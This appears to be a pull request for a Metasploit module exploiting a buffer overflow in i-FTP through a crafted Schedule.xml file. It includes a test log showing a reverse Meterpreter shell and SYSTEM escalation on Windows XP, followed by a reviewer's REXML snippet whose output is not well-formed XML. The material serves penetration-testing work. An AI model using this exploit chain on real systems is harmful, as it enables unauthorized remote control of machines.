Add module for i-FTP (OSVDB-114279)

This is an MSF port of http://www.exploit-db.com/exploits/35177.

# Verification steps
 - [ ] Copy Schedule.xml to C:\Program Files\Memecode\i.Ftp
 - [ ] Start the application

Tested on Windows XP SP3, test run results below:

```
msf > use exploit/windows/fileformat/iftp_schedule_bof
msf exploit(iftp_schedule_bof) > run

[*] Creating 'Schedule.xml' file ...
[+] Schedule.xml stored at /home/gabor/.msf4/local/Schedule.xml
msf exploit(iftp_schedule_bof) > use exploit/multi/handler 
msf exploit(handler) > run

[*] Started reverse handler on 192.168.17.131:4444 
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.17.129
[*] Meterpreter session 1 opened (192.168.17.131:4444 -> 192.168.17.129:1063) at 2014-12-21 16:15:28 +0100

meterpreter > getsystem
...got system (via technique 1).
meterpreter > sysinfo
Computer        : GABOR-03722ADE8
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter >
```
Actually, this most preferred way to craft a XML file is by using rexml. This tip was suggested at one point in HACKING since 201c80977cac73532d0cccaf1d9a030c6ff7dc56, but we lost it d27b47a078ca81083913aab3657fddd7173ff4ac. The suggestion is still valid, because it's a cleaner way to write code.

Anyways, @sgabe, the preferred way would be something like this:

```ruby
require 'rexml/document'

xml = REXML::Document.new
xml.add_element('?xml', {'version'=>'1.0', 'encoding'=>'UTF-8'})
xml.root.add_element('Schedule', {})
xml.root.elements[1].add_element('Event', {'Url'=>'\\', 'Time'=>'Evil', 'Folder'=>'\\'})
doc = ''
xml.write(doc, 2)
puts doc
```

Output example:

```
$ ruby test.rb 
<?xml version='1.0' encoding='UTF-8'>
  <Schedule>
    <Event Url='\' Time='Evil' Folder='\'/>
  </Schedule>
</?xml>
```